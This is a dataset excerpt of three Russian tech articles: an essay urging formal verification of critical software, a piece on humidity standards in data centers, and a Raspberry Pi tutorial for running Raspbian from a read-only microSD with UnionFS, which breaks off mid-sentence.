source
stringclasses
4 values
title
stringlengths
5
287
keywords
stringlengths
6
1.23k
summary
stringlengths
11
5.12k
content
stringlengths
2
164k
url
stringlengths
33
173
habrahabr
Почему земляне делают глючный софт и железо
['качество', 'математика', 'формальная верификация', 'доказательное программирование']
Думаю никто не станет спорить с тем, что качество сколь-либо сложных систем создаваемых землянами далеко от идеала. Конечно, можно сказать, что всё работает — самолёты летают, космические корабли...
Думаю никто не станет спорить с тем, что качество сколь-либо сложных систем создаваемых землянами далеко от идеала. Конечно, можно сказать, что всё работает — самолёты летают, космические корабли бороздят просторы орбиты Земли и т.д. Но при этом все привыкли к тому, что ПО на их устройствах работает непредсказуемо, через раз, что даже установка самых последних обновлений не гарантирует отсутствия проблем с безопасностью, что часто в открытом, массово используемом коде находят ошибки существующие там много лет, что даже у крупных и «технологических» компаний бывают сбои и утечки данных, что космические аппараты разбиваются или теряют часть функциональности вовсе не из-за козней инопланетян (марсиане клянутся что не сбивали ExoMars). Хотелось бы рассмотреть причины и возможные пути решения этой планетарной проблемы. Непрофессионализм и некомпетентность исполнителей — земляне, в основной массе, не научены и не приучены делать свою работу хорошо. Эта проблема стоит очень остро, и говорить о ней можно долго, но видимо надо писать отдельный пост. Тут лишь можно сказать, что настоящие профессионалы всё-таки есть, на передовые проекты должно хватать, но проблемы есть и в таких проектах, значит дело не только в этом. Отсутствие цели сделать хорошо/плохой менеджмент/недостаточные инвестиции — эта причина вполне вероятна в обычных коммерческих проектах, где задача стоит получить краткосрочную прибыль, а не сделать хорошо. Но это явно не про космические проекты, где цена ошибки слишком велика и в деньгах и в репутации, а затраты на разработку по некоторым оценкам в 160 раз выше обычной коммерческой разработки, однако также без гарантии надёжности. Использование неподходящих инструментов/попытка молотком шлифовать линзу — вот эта причина мне кажется главной и о ней я буду говорить далее. Именно из-за неправильного подхода к решению задач честные программисты никогда не говорят «Да, оно работает», а говорят «Вроде работает», «Должно работать». Когда земляне берутся за самые сложные из стоящих перед ними задач, вполне логично было бы применять для их решения самый лучший из имеющихся инструментов. И этот инструмент, это точно не человеческий мозг , мозг homo sapiens это как раз инструмент из серии «вроде работает» и не стоит этому удивляться, всё-таки эволюционировал он для совсем других задач, поэтому даже самый крутой профессионал может сделать тупую ошибку по куче причин. Конечно, собрав вместе много хороших мозгов, можно улучшить результат, но без хорошего инструмента и все мозги планеты не достигнут того, что уже достигнуто. Чтобы понять, что это за волшебный инструмент стоит попробовать ответить на вопросы вроде «Почему небоскрёбы не разрушаются под своим весом или на ветру?», «Как наши космические аппараты добираются до цели в необъятных просторах космоса?», «Как мы умудряемся надёжно пересылать данные по ненадёжным каналам связи?», «Откуда взялись надёжные методы шифрования?» и так далее и тому подобное. Ответ на все эти вопросы один, этот инструмент — математика . Математика это магия современного мира, для непосвящённых такие артефакты как Zcash или CryptDB , да и, ставшее привычным, асимметричное шифрование выглядят как волшебство, хотя это лишь применение этого мощного инструмента. Для того, чтобы сказать — «Да, программа работает как требовали», надо иметь математическое доказательство этого утверждения, к сожалению я не специалист в этой сфере, но насколько знаю процесс этого доказательства достаточно сложный, но это не должно быть препятствием по следующим причинам: Иного пути нет, наши системы усложняются, новые слои опираются на старые, но к сожалению это не очень надёжный фундамент. Доказывать нужно небольшие программы ( юникс-вей ). Доказывать нужно лишь программы критичные для безопасности надёжности. Можно не доказывать корректность офисного пакета, но микроядро ОС или библиотеки шифрования должны быть доказаны. Доказывать не обязательно существующий универсальный софт, не обязательно это будет ОС общего назначения, возможно что-то более простое, без свистелок, но максимально надёжное для медицины, транспорта, АЭС. Использование строго математических языков программирования может снизить затраты на доказательство ( Haskell ?). Да, они могут быть в чём-то сложнее обычных ЯП, но их сложность соответствует сложности задач которые необходимо решать. Не обязательно доказывать сразу всё, но шаг за шагом можно построить доказанную инфраструктуру для построения надёжных систем. Конечно доказательство программ не избавляет нас от необходимости точно формулировать требования, но думаю это решаемая задача, тем более, что в некоторых случаях (вроде библиотек шифрования) сами требования тоже формализованы. Думаю все хотели бы, чтобы на АЭС, в медицинском оборудовании и подобных местах работало абсолютно надёжное ПО. Не буду утверждать, что надо было давно это сделать, отрасль бурно развивалась, много чего значительно поменялось, но сегодня, с моей точки зрения, отрасль достаточно зрелая для того чтобы начать наводить порядок. Есть новые классы задач вроде квантовых компьютеров и специализированных процессоров для нейронных сетей, там всё только начинается. Но развитие этих отраслей не отменяет нужности классического подхода — у всего свои задачи. Земная цивилизация уже сейчас очень зависима от надёжности компьютерных систем и чтобы не вздрагивать ночью от шума крыльев залётного дятла, надо искать решения повышающие надёжность. Дятел? Причём здесь дятел Это старый мем: «Если бы строители строили дома как программисты пишут программы, то первый залётный дятел разрушил бы цивилизацию» Отдельно стоит сказать про нейронные сети, нейронные сети это попытка копировать мозг со всеми его плюсами и минусами, решение на нейронных сетях содержит те же проблемы что и человеческий мозг, поэтому их нужно применять только там, где мы не знаем как решить проблему с помощью формального алгоритма работающего абсолютно надёжно. Думаю, для того чтобы земная цивилизация устойчиво развивалась ей пора задуматься над надёжностью своей инфраструктуры, касательно ИТ мне это видится так — нужно выбрать/создать высокоуровневый математический язык программирования и начать создавать полностью на нем (без спрятанных под капотом сишных либ) наиболее критичные программы с последующим их доказательством. Вполне вероятно, что и аппаратная архитектура процессоров должна быть доказана и заточена под исполнение программ на таком языке ( лисп-машины ?). Кто это должен делать? Не знаю, но такой же вопрос можно было бы задать на предложение всем миром писать ядро ОС, однако Linux вполне пишут, а значит варианты есть. Есть например формально верифицированное ядро seL4 ( пояснения в их вики ) разработанное в NICTA , если подобные проекты на станут основой для цифровой инфраструктуры будущего, то у человечества появятся шансы не пройти великий фильтр цивилизаций (кто уверен что вирус не начнёт ядерную войну?). немного лирики Планету больше не закрывали белые стаи облаков, с ее лица сползли остатки зелени и голубизны. По поверхности пробегали, искрясь и подмигивая звездами в вышине, сверкающие цепочки огней, и оттуда, как в танце сказочных фей, поднимали к небу свои лепестки, переливающиеся всеми оттенками нежнейше черного цвета, благоухающим ароматом ультракороткого излучения, пышные, пенящиеся и мерцающие своей хрупкой, утонченной красотой атомные орхидеи. — Это чудо… чудо! О, как великолепно! — Да. Это самое прекрасное из того, что я только видел во Вселенной… — Наверное, планеты и существуют для того, чтобы распуститься только один раз… Но разве этого мало?.. «Когда расцветают бомбы» Роджер Желязны Сергей Битюцкий ОБНОВЛЕНИЕ: В процессе обсуждения в комментариях созрела важная мысль — для того, чтобы внедрять в критичных сферах верифицированное ПО вовсе не обязательно останавливать текущую разработку, нужно параллельно создавать свободные верифицированные компоненты, а по их готовности новые вещи делать с их помощью, например вышеупомянутое микроядро seL4 для встраиваемых нужд уже есть, а значит нужно его использовать везде где он подходит. И работать над другими компонентами.
https://geektimes.ru/post/283804/
habrahabr
Не температурой единой: влажность в дата-центре
['дата-центр', 'влажность', 'микроклимат']
Когда заходит речь о микроклимате дата-центра, обычно рассматривается вопрос температурного режима. Это понятно, поскольку температура должна четко соответствовать определенным нормам, с...
Когда заходит речь о микроклимате дата-центра, обычно рассматривается вопрос температурного режима. Это понятно, поскольку температура должна четко соответствовать определенным нормам, с точностью до десятых долей градуса. Но не нужно забывать и о том, что есть другие важные факторы, среди которых влажность. Очевидно, что вода в жидком виде для оборудования большинства типов смертельно опасна, если так можно выразиться. Слишком высокая влажность может привести к конденсации воды, что может запустить процесс коррозии уязвимых элементов или даже стать причиной короткого замыкания, если дело совсем уж плохо. Раньше считалось, что относительная влажность должна поддерживаться в пределах 40-50%. Но, на самом деле, все это не настолько критично. Правда, широко известен случай , когда именно влажность повлияла на работоспособность ЦОД ИТ-компании — Facebook. В дата-центре в Прайнвилле в 2011 года образовалось сразу два облака — цифровое и водяное, состоящее из конденсата, который постепенно выливался на оборудование. Это произошло из-за ошибки системы автоматического управления здания. В дата-центре значительно повысилась температура, кроме того, воздух постоянно проходил через водоиспарительную систему охлаждения, насыщаясь водяным паром. Через некоторое время около серверных стоек появилась область повышенной влажности, практически облако, из которого выпал самый настоящий дождь. Все это привело к тому, что часть серверов просто вышла из строя, поскольку начали коротить блоки питания. Конечно, компания довольно быстро решила проблему, но поволноваться тогда пришлось всем. Так что там со влажностью? Дело в том, что в дата-центрах многие годы, можно сказать, даже десятки лет, поддерживали относительную влажность на уровне 45-50%. Считалось, что высокая влажность значительно снижает вероятность статического заряда. Влажность на указанном уровне до сих пор стараются поддерживать в некоторых дата-центрах, хотя многочисленные исследования доказали, что это уже не необходимо. Дело в том, что статическое электричество, в большинстве случаев, не представляет собой опасности для оборудования даже при относительной влажности в 15%. Если принимать соответствующие меры безопасности, этот показатель можно снизить даже до 8%. Во всяком случае, именно такие цифры приводятся в докладе, который был выпущен еще в 2014 году по результатам исследования технического комитета ТС 9.9 Американского общества инженеров отопления, охлаждения и воздушного кондиционирования (ASHRAE). По мнению авторов исследования, снижение уровня относительной влажности в ДЦ позволяет экономить энергию и, следовательно, улучшать PUE. Все дело в том, что на поддержание высокой относительной влажности требуется довольно большой расход воды и электричества. Именно такая ситуация наблюдается в том случае, если оборудование ЦОДа работает на повышенных входящих температурах в соответствии с рекомендациями ASHRAE по температурному режиму 2008 и 2011 годов. Уже в 2012 году этот же комитет провел независимое исследование для того, чтобы определить реальный уровень относительной влажности, при котором можно избежать угрозы повреждения оборудования и его элементов статическим электричеством. В ходе исследования испытывались различные типы напольных покрытий дата-центра, а также разны типы обуви для сотрудников. Полная версия результатов этого исследования доступна здесь . Если кратко, то в любой климатической зоне вовсе не обязательно активно использовать увлажнители — как и говорилось выше, хватает 8% относительной влажности. Это особенно актуально для ЦОДов, которые расположены в зонах с прохладным климатом и которые используют фрикулинг. А что за меры предосторожности? Здесь речь идет, в первую очередь о напольном покрытии с ламинатом высокого давления, заливных бетонных полах или токорассеивающих покрытиях. С ними проблемы никакой нет, в особенности, если использовать обувь с минимальной проводимостью. Итак, вот несколько рекомендаций: Напольное покрытие в дата-центре должно обладать способность рассеивать статическое электричество, а также заземляться; Сотрудники и посетители дата-центра должны носить обувь с подошвой, которая обладает минимальной проводимостью, сопротивление не должно превышать 10 8 Ом. Некоторые операторы ДЦ требуют носить специальные антистатические тапочки; Температура входящего воздуха должна быть близка к значениям коридора, установленного ASHRAE; В холодном коридоре необходимо измерять влажность, точку росы желательно установить на 4,44°С ниже так называемого консервативного уровня. Это будет эквивалент относительной влажности 15% при температуре входящего воздуха в 24 градуса. В горячем коридоре относительная влажность может быть ниже, чем в других местах, поскольку относительная влажность понижается с повышением температуры. Стоит помнить, что ASHRAE не проводили тестирования для значений ниже 8%; Стоит помнить об антистатических браслетах и сделать их обязательными при проведении работ внутри оборудования. Что касается верхнего порога влажности, то этот показатель, рекомендованный ASHRAE, составляет 60%. Это позволяет избежать появления другой проблемы — растворения химических соединений и частиц воздуха в капельках конденсата в воздухе. Это приводит к коррозии компонентов IT-систем. Названная проблема, кстати, актуальна для азиатских дата-центров. В условиях влажного климата и загрязненной окружающей среды оборудование портится чаще, чем в дата-центрах, расположенных в других регионах. Хуже всего приходится системам охлаждения, которые могут месяцами коррозировать и в один прекрасный момент просто выйти из строя. А это уже чревато длительным простоем и финансовыми потерями, очень значительными потерями. Даже, если оборудование и не выходит из строя, оно начинает потреблять больше энергии.
https://habrahabr.ru/company/kingservers/blog/317840/
habrahabr
Малиновый Прог против Интернета Кирпичей, или Raspberry Pi с графикой на read-only microSD
['Raspberry Pi', 'Readonly', 'read-only root', 'IoT', 'интернет вещей', 'microSD', 'flash-память', 'загрузка', 'загрузочная флешка', 'загрузочная флэшка', 'износ', 'крепсондо']
Аннотация Запуск Raspberry Pi с полной поддержкой графики на microSD, навсегда остающейся в режиме read-only после установки системы. Отсутствие какой-либо записи данных на флэш-память повышает...
Аннотация Запуск Raspberry Pi с полной поддержкой графики на microSD, навсегда остающейся в режиме read-only после установки системы. Отсутствие какой-либо записи данных на флэш-память повышает надёжность устройства, приближая его к промышленному классу изделий. Пошаговая инструкция. Небольшой театр инженерного абсурда для развлечения аудитории. Мне понадобилось сетевое устройство с открытым кодом и выходом HDMI, и я решил попробовать Малиновый Прог. Да, я именно так предлагаю переводить Pi : Прог . Понятное дело, даже одноплатнику нужна операционка. И вот, захожу я на официальный сайт , ожидая встретить там подробное руководство по созданию суровой, неломаемой Вещи à la turnkey box . Но народ, как ни в чём не бывало, устанавливает Ubuntu (т.е. Raspbian Jessie) прямо на microSD, размещая и swap там же. Как обычный десктоп, face palm. Но то цветочки. Малиновые ягодки — это проекты фоторамок из МалинПрога, требующие обязательного выключения кнопкой. Иначе фоторамка после сбоя питания может не заработать, вместо картинок предлагая воспользоваться fsck. Но и это не предел, под катом читателя ждёт настоящий шедевр инженерного абсурда, найденный автором на просторах сети. Итак, по стандартной инструкции нормальный одноплатник превращается в раздутый десктоп со средним временем жизни год-полтора, пока изношенная флэшка не сдохнет, превратив в общем-то хороший девайс в кирпич. И большинство людей, похоже, это вполне устраивает. Меня — нет. Куда мир катится Прежде чем открывать спойлер, оденьте защитную маску, либо заранее возьмитесь руками за голову. Неплохой проект, который испортила одна рекомендация Представьте себе большой телевизор и демонстратор слайд-шоу на базе RPi, но с нейтрализацией скринсейвера аппаратным (!) имитатором ёрзающей мыши. Дескать, в оконном интерфейсе Raspbian тайм-аут скринсейвера больше 720 минут не выставляется. Поэтому, дабы каждые 12 часов не шевелить мышь вручную, народ автоматизирует процесс микроконтроллером, создающим виртуальные «ползки» USB-мыши каждые 4 минуты. Я не шучу, вот реальный проект на RPi , там же ссылка на микроконтроллер ECIO28P , и прошивка взбадривателя имеется. Ладно, не буду отрицать самостоятельной полезности аппаратного взбадривателя: это реальный лайф-хак для тех, у кого почасовая оплата идёт за сидение перед монитором. Или для поддержания в тонусе какого-нибудь особо тупого сурового промышленного терминала, из-под антивандальной брони которого торчит один разъём для мыши (для PS/2 должен подойти зелёный переходник). Да, если втиснуть раздутый десктоп в одноплатный компьютер, то в руках über-умельцев это грозное оружие, особенно с брутально торчащей из разъёма платой МК. Сразу видно: человек умеет работать руками. Но если нужен вечно включённый экран, на линуксе достаточно головы, резиденты данного ресурса прекрасно это знают. Для гостей портала я всё-таки дам инструкцию, мало ли чего. Отключение DPMS, скринсейвера и заодно всех GUI-элементов Для начала примем, что используется минималистичная оболочка LightDM , и отключим X-серверу DPMS в файле /etc/lightdm/lightdm.conf : ... xserver-command=X -s 0 -dpms -nocursor ... Флажок -nocursor убирает долой из центра экрана неподвижную стрелку курсора. А вместо нейтрализации скринсейвера можно просто закомментировать его запуск в файле ~/.config/lxsession/LXDE/autostart . Если это не помогает, можно повесить по cron(8) с интервалом 718 минут команду xscreensaver-command -deactivate (это уже стёб, дорогие читатели ;-) Я поступил просто: принял LightDM с автовходом, но оставил в файле ~/.config/lxsession/LXDE/autostart лишь вызов feh с префиксом '@' для перезапуска в случае аварии и соотв. параметрами. Т.е. как бы обычная графика, но без lxpanel , без pcmanfm , без xscreensaver , с отключённым DPMS и скрытым курсором несуществующей мыши. Минимальную графику очень легко получить командами apt-get и правкой файла autostart , причём в системе будет всё необходимое для жизнедеятельности стандартных приложений, включая X-сервер, менеджер окон, менеджер сеансов и менеджер дисплея с автовходом пользователя. Но пока это ещё не Вещь, а всего лишь одноплатный десктоп. UPD Пользователь Jaromir предлагает вообще отказаться от менеджера дисплея и использовать unclutter в тех случаях, когда мышь изредка требуется. Эта утилита скрывает курсор, если мышь находится в покое достаточно долго. Пользователь Spider55 рекомендует вместо LightDM использовать noDM . Считаю весьма разумным, но тогда пошаговая инструкция чуть меняется. Задача Сферический одноплатник в вакууме — это скучно. Не для того на Малиновом Проге целая гребёнка GPIO с I2C/PWM, а также всякие CSI-DSI и сторожевой таймер. Но я в качестве практического примера использую всё-таки сетевой демонстратор с HDMI-выходом, добавив возможность нескольким пользователям по очереди «захватывать» общий экран-табло и транслировать на него свой рабочий стол, не вставая с кресла. Экран повёрнут лицом в сторону гостей, в состоянии покоя тихонечко перебирает случайным образом картинки, выложенные в сети. Если надо показать гостю продукт, один из сидящих за стойкой администраторов временно превращает табло в «зеркало» своего монитора, но потом освобождает его для другого админинистратора. В моём случае это реальный бизнес-инструмент, висящий в реальном торговом зале. Кстати, благодарю пользователя Sauron за подсказку . Однако, глянув на размер этой публикации, я решил отложить описание прикладного решения (т.е. собственно видеомодуля) в отдельную статью. Пока позвольте сфокусироваться на изначальной задаче: заставить Raspberry Pi загружаться и работать с microSD в режиме read-only, не боясь отключения питания и не запиливая флэш-память мусором. Теория вопроса Даже очень серьёзная файловая система с журналом в конечном итоге не может проконтролировать процессы, происходящие внутри SD-носителя при отключении питания. Например, серьёзные SSD-накопители для использования в ЦОД имеют конденсаторы, разряда которых как раз хватает на закрытие последней транзакции записи, и даже остаётся ещё немного. А что с отключением питания в microSD? Я уверен, там конденсаторов достаточной ёмкости нет, зато есть ненулевая вероятность того, что запись страницы NAND-памяти не успеет завершиться. И потом драйвер файловой системы от прочитанного придёт в такое недоумение, что потребуется ручное вмешательство оператора. Вот вам и фоторамка с fsck. Насколько сложно перевести microSD Raspberry Pi в режим read-only методом Микеланджело, т.е. убирая лишние службы и пакеты? Достаточно просто, если нет графики ( ссылка ). Но стоит пустить в систему иксы с этими их многочисленными менеджерами всего, начинается долгий и нудный поединок с непредсказуемым результатом. Это вам не иголка в стоге сена, её хотя бы магнитом можно вытянуть. Представьте, что неизвестное количество иголок спрятаны в клубке из колючей проволоки, да ещё обильно присыпаны гвоздями. Какой там поиск иголок, не убиться бы насмерть. Лемма: для выполнения даже самой элементарной новой функции линукс-система всегда подтянет кучу ненужных зависимостей, причём даже с «лёгкой» графикой рост системной энтропии получается кратный. Теорема: в любом конечном наборе программных пакетов всегда найдётся бесконечно малый кусок кода, который попытается записать один бесконечно бесполезный бит на файловую систему, смонтированную в read-only, чем вызовет фатальную ошибку, повалит всю систему и перечеркнёт многочасовые усилия оператора. Решение: UnionFS Один немец несколько лет назад придумал очень красивый способ собрать все эти иголки в корыто с помощью UnionFS и просто сжигать их в печи при каждой перезагрузке. К сожалению, оригинальный пост уже погиб вместе с хостившим его доменом, но немец точно не одинок. Благодарные читатели сохранили идею, я считаю просто необходимым опубликовать её здесь. Суть в том, что поверх постоянной «подложки» (read-only файловой системы на microSD) при каждом включении создаётся временная «нашлёпка» в ОЗУ, поглощающая всю ненужную энтропию и «сгорающая» при выключении питания устройства. Файловая система на microSD всё время остаётся read-only, и потому риск её повреждения снижается почти до нуля, как и риск преждевременного износа флэшки. Почему не строго до нуля? Знатоки EXT4, поправьте меня, но драйвер файловой системы всё-таки что-то записывает на носитель при каждом монтировании-демонтировании файловой системы, даже если она монтируется в read-only. И noatime не поможет, нужен аппаратный ключ на microSD. Иначе как объяснить тот факт, что по /sys/block/mmcblk0/stat у меня оказалось считано 282612 секторов, а записано аж 96, и это в режиме read-only? Ладно, хоть соотношение почти 3000:1, на обычной системе оно 5:1. (виноват, соврал, но сути это не меняет) UPD: Пользователь gattopazzo83 указал мне на промышленную память Flash Media Kit производства известной фирмы Харлампий-Панкрат (теперь уже Эдуардович ). Раз у неё 100,000 циклов записи, это точно SLC-память в формате microSD. Даже если уважаемый читатель использует файловую систему в read-only, для серьёзных проектов я настоятельно рекомендую потратиться на промышленную память, это практика крепсондо («до» по-японски означает «путь» ;-) UPD: В комментариях достаточно длинная дискуссия вышла у меня с пользователем doga , в результате которой я «открыл» для себя простой способ получать внутреннюю информацию об используемой SD-карточке прямо из командной строки RPi. Пользователь doga в долгу не остался и указал на пакет mmc-utils , который тоже читает внутренности SD-карточки, но готового порта для Raspbian я не увидел. Что-то помещаю в спойлер, который, видимо, будет пополняться и раздуваться. SD-внутренности Команда: udevadm info -a -n /dev/mmcblk0 Можно увидеть «сырые» регистры CID и CSD , из них код изделия ( name ), серийный номер ( serial ), дату производства ( date ), идентификаторы производителя ( hwrev, fwrev, oemid, manfid ). Расшифровку можно найти на сайте www.sdcard.org в разделе загрузок «упрощённых» спецификаций (Simplified Specifications), см. Part 1 Simplified, Physical Layer Simplified Specification. Очень интересный объект stat , структура которого описана прямо на kernel.org . Эта информация сбрасывается при перезагрузке, но по ней можно оценить среднесуточную нагрузку на чтение и запись. Коды производителей где-то точно лежат, но я их нашёл только в исходниках lsmmc.c . «Пробить по базе» карточку можно хотя бы в разделе RPi SD cards на сайте Embedded Linux, это просто отзывы пользователей. Самое интересное — данных износа — пока не увидел, хотя утилиту mmc-utils собрал, но пока запустить её не удалось. Недостатки Какие минусы, помимо «сгорания» логов? Устройства без аппаратных часов при старте всегда считают, что на дворе 1 января 1970 года, и пребывают в этом заблуждении вплоть до подъёма сетевого стэка и доступности NTP. Поэтому на момент данной публикации целый ряд файловых объектов «нашлёпки» будут примерно на 46 лет моложе, чем им кажется. С другой стороны, несколько секунд от начала эпохи — уже не ноль. UPD: часы реального времени Пользователь st1373 в комментариях напомнил о наличии I2C-совместимых часов реального времени DS3231 (стоимостью примерно в полтора рулона туалетной бумаги). Есть и нехитрая инструкция на русском: Подключение RTC (часов реального времени) к Raspberry Pi . Безопасность Обновления безопасности накатывать на такую систему довольно неудобно. Но, опять же, взломать такую Вещь несколько сложнее, чем эксплуатировать уязвимость Adobe Flash в браузере обычного десктопа. Вредоносный код должен открыть файловую систему на запись, чтобы закрепиться в ней, иначе он «сгорит» при перезагрузке вместе с логами и мусором. Упомянутая ниже SquashFS усложняет изменения ещё больше. Однако все эти преимущества справедливы ровно до того момента, пока вся выпоняемая масса кода «замкнута» в read-only зонах, т.е. когда защищённая «подложка» не делает вызовов команд, расположенных в записываемых областях: именно это и есть (будет?) приоритетным вектором заражения в Интернете Вещей. Будьте внимательны со стартовыми скриптами, они выполняются с правами root, одно неверное движение — и это критическая уязвимость инфраструктуры домашнего очага, постоянно подключённой к Интернету. Пошаговая инструкция Поскольку я впервые в жизни установил Rasbian Jessie и особо не верю в долговечность microSD даже в read-only, то решил записать все шаги подробно. Вдруг понадобится повторить. DISCLAIMER Извините за переносы строк. Все команды запускаются с правами root , но аккуратный читатель может использовать каждый раз sudo . Честно говоря, я не понимаю, зачем каждую команду запускать через sudo , будто это защитит от чего-то. Вот скажите, когда вы в последний раз *не были* уверены, что хотите удалить данный файл в корзину? Это как выпить пять бокалов пива по пол-литра, но на дорожку ещё налейте один 0.33, пожалуйста, а то мне уже хватит… Я дам неправильный совет: если уж взялись за эти игрушки, выходите на root командой sudo bash , не занимайтесь самообманом. 1. Инициализация Установите Raspbian Jessie Lite. Утилитой raspi-config задайте региональные настройки и пароль пользователя pi . Подключите сеть, Debian — дитя широкополосного доступа. Загрузку в графику пока не включайте. apt-key update apt-get update 2. Установка и удаление программ С графикой, установка: apt-get install --no-install-recommends tightvncserver xtightvncviewer xserver-xorg xinit lxde-core lxappearance lightdm feh xprintidle policykit-1 busybox-syslogd ntpdate watchdog unionfs-fuse Удаление: dpkg --purge rsyslog apt-get remove --purge wolfram-engine triggerhappy cron anacron logrotate dphys-swapfile fake-hwclock apt-get autoremove --purge Пакеты tightvncserver, xtightvncviewer, xprintidle и feh понадобились мне для частной задачи, можете обойтись без них. Если без графики, вам *не* понадобятся также: xserver-xorg xinit lxde-core lxappearance lightdm policykit-1 . 3. Создание графического окружения Теперь утилитой raspi-config можно включить автозапуск в графическом режиме с автовходом, который будет с правами пользователя pi . Чем зацикливаться на sudo , лучше поставить сильный пароль пользователю pi , и не использовать pi для автоматического входа в графический интерфейс. Вместо этого создать пользователя pu и запускать «иксы» с его правами. Причём командный интерпретатор (default shell) этого пользователя лучше либо отключить совсем (поставив /usr/sbin/nologin ), либо подменить специальным скриптом типа /usr/local/bin/pu . Об этом я намерен рассказать в другой публикации, посвящённой видеотабло с удалённым управлением по SSH, ради чего и создаётся отдельная учётная запись с пониженными правами. Ещё раз благодарю Sauron et al . adduser --home /home/pu --shell /usr/local/bin/pu --uid 990 --gecos "RPi p-u" --gid 1000 pu mkdir -p /home/pu/.config/lxsession/LXDE cp -p /etc/xdg/lxsession/LXDE/desktop.conf /home/pu/.config/lxsession/LXDE/desktop.conf touch /home/pu/.config/lxsession/LXDE/autostart chown -R pu:pi /home/pu sed -i 's/^#\?xserver-command=.*$/xserver-command=X -s 0 -dpms -nocursor/' /etc/lightdm/lightdm.conf sed -i 's/^#\?autologin-user=.*$/autologin-user=pu/' /etc/lightdm/lightdm.conf Вместо двух последних команд можете открыть редактором /etc/lightdm/lightdm.conf и задать значения двух параметров, первый я уже упоминал выше, второй говорит сам за себя: ... xserver-command=X -s 0 -dpms -nocursor ... autologin-user=pu ... 4. Сторожевой таймер (по желанию) У меня Raspberry Pi 3 Model B, поэтому ядерный модуль сторожевого таймера зовут так: modprobe bcm2835_wdt echo "bcm2835_wdt " | sudo tee -a /etc/modules Затем добавляем следующую строку в секцию [Install] в конце файла /lib/systemd/system/watchdog.service : [Install] WantedBy=multi-user.target После этого включаем службу: systemctl enable watchdog.service Сторожевой таймер в минимальной конфигурации должен сработать, если зависло ядро. Но есть ещё много других вариантов, например, по чрезмерной нагрузке на систему, по истечению памяти, по перегреву системы, по отсутствию сигнального файла и т.д. См. также watchdog(8) и watchdog.conf(5) 5. Параметры старта Я отключил отображение малинового лого и swap-файл, включил быструю загрузку. Для этого добавил в /boot/cmdline.txt буквально три слова logo.nologo fastboot noswap . У меня в итоге получилось так: logo.nologo dwc_otg.lpm_enable=0 console=serial0,115200 console=tty1 root=/dev/mmcblk0p2 rootfstype=ext4 elevator=deadline fsck.repair=yes rootwait fastboot noswap 6. Запечатывание корневой файловой системы Raspberry Pi в read-only Вот теперь мы добрались, наконец, до главного. Ниже скрипт, который следует расположить под именем mount_unionfs где-нибудь в /usr/local/bin . Не забудьте включить биты выполнимости +x ( chmod 755 или 555). Обратите внимание на суффиксы .orig и .rw , они должны совпадать с подготовкой (далее): #!/bin/sh DIR=$1 ROOT_MOUNT=$(awk '$2=="/" {print substr($4,1,2)}' < /etc/fstab) if [ $ROOT_MOUNT = "rw" ]; then /bin/mount --bind ${DIR}.orig ${DIR} else /bin/mount -t tmpfs ramdisk ${DIR}.rw /usr/bin/unionfs-fuse -o cow,allow_other,suid,dev,nonempty ${DIR}.rw=RW:${DIR}.orig=RO ${DIR} fi Из других инструкций я решил воспользоваться советом и сделать следующее: insserv -r bootlogs insserv -r alsa-utils rm -rf /var/lib/dhcp/ ln -s /tmp /var/lib/dhcp Графические приложения очень любят записывать в /home что-нибудь ненужное, поэтому в дополнение к /etc и /var я включил ещё и /home . Подготовим разделы к переключению в режим UnionFS (внимание на суффиксы .orig и .rw ): cp -al /etc /etc.orig mv /var /var.orig mv /home /home.orig mkdir /etc.rw /var /var.rw /home /home.rw Наконец, файл fstab(5) proc /proc proc defaults 0 0 /dev/mmcblk0p1 /boot vfat ro 0 2 /dev/mmcblk0p2 / ext4 ro 0 1 mount_unionfs /etc fuse defaults 0 0 mount_unionfs /var fuse defaults 0 0 mount_unionfs /home fuse defaults 0 0 none /tmp tmpfs defaults 0 0 7. Аудит системы и тест Окиньте взглядом систему, уберите за собой .bash_history , всякие лог-файлы и т.д. Учтите, что они сейчас могут находиться не там, где обычно (например, в /var.orig вместо var ). Перезагрузите систему и посмотрите, что получилось. Если была допущена ошибка, есть большие шансы, что система уйдёт в single user и просто запустит консоль root . Если файловая система цела, перемонтировать её из read-only в read-write довольно просто: mount -o rw,remount / Если же система загрузилась нормально в read-only и выполняет все функции, поздравляю! Это родилась Интернет-Вещь. 8. Распечатывание файловой системы Если нужно распечатать систему, сперва верните коневую систему в состояние read-write (см. выше). Затем закомментируйте в fstab(5) строки, начинающиеся со слова mount_unionfs , после чего *обязательно* верните на место каталог /var.orig со всем содержимым (и желательно /home.orig тоже). Если не восстановить /var , потеряете базу установленных пакетов, но ведь именно ради установки обновлений безопасности командой apt-get вы только что распечатали систему, не так ли? Перед apt-get перезагрузите систему и убедитесь в её адекватности. Как запечатывать обратно, знаете;) Альтернативы Уважаемых читателей, которые знают готовые промышленные образы операционных систем (с поддержкой read-only) для Raspberry Pi и других одноплатных компьютеров, приглашаю делиться в комментариях. Надеюсь, с вашей помощью я смогу информационно обогатить этот раздел и других читаталей, резидентов и гостей уважаемого портала Geektimes:) Что касается аппаратных альтернатив самому Малиновому Прогу в контексте прикладной задачи (сетевой HDMI-свисток), то я случайно наткнулся на один обзор , который, впрочем, можно обсудить отдельно. Чисто экономически Raspberry Pi весьма выгоден, это пока главное:) Итак, поехали. UPD: OverlayFS Уважаемый ValdikSS упомянул проект OverlayFS, который вошёл в ядро Linux в 2014г, уже после оригинального немецкого поста, а также initramfs . А спустя некоторое время art_gl прислал ссылку на пошаговую инструкцию: Raspbian with Read-only Root . Кстати, проект Domoticz , у которого есть и готовый образ для Малинового Прога, может использовать OverlayFS. И заодно ещё раз поблагодарю Sauron за комментарий про Domoticz. UPD: SquashFS Пользователи Vooon , Vcoderlab , av_in et al справедливо упомянули в комментариях SquashFS . И даже википедия отмечает, что данная система удачно ложится «под» union mount , также аккумулируя энтропию записи исключительно в ОЗУ для последующего уничтожения. Однако не стоит забывать, что SquashFS by-design всегда остаётся read-only, т.е. речь идёт скорее о серийном изготовлении firmware-прошивки , с соответствующим (длинным) циклом тестирования, но это не главное. Обновление критических уязвимостей , особенно на раздутых системах, очень сильно удорожает подобные проекты. И не только я считаю, что именно критические уязвимости в IoT будут определять ландшафт информационной безопасности в ближайшие лет десять. Нет ничего невозможного, но даже если уважаемый читатель настолько подкован, что может изготовить стабильный образ системы на SquashFS, стоит ли он двух-трёх Малиновых Прогов? Впрочем, это всего лишь вопрос времени, и мы с вами скоро увидим больше удачных community-проектов для Интернета Вещей на базе SquashFS, в т.ч. и для Raspberry Pi. Например, OpenELEC . UPD: F2FS Пользователь nlykl упомянул F2FS aka «Flash-Friendly File System», и на тему МалинПрога есть даже HOWTO: Replace the micro SD card's 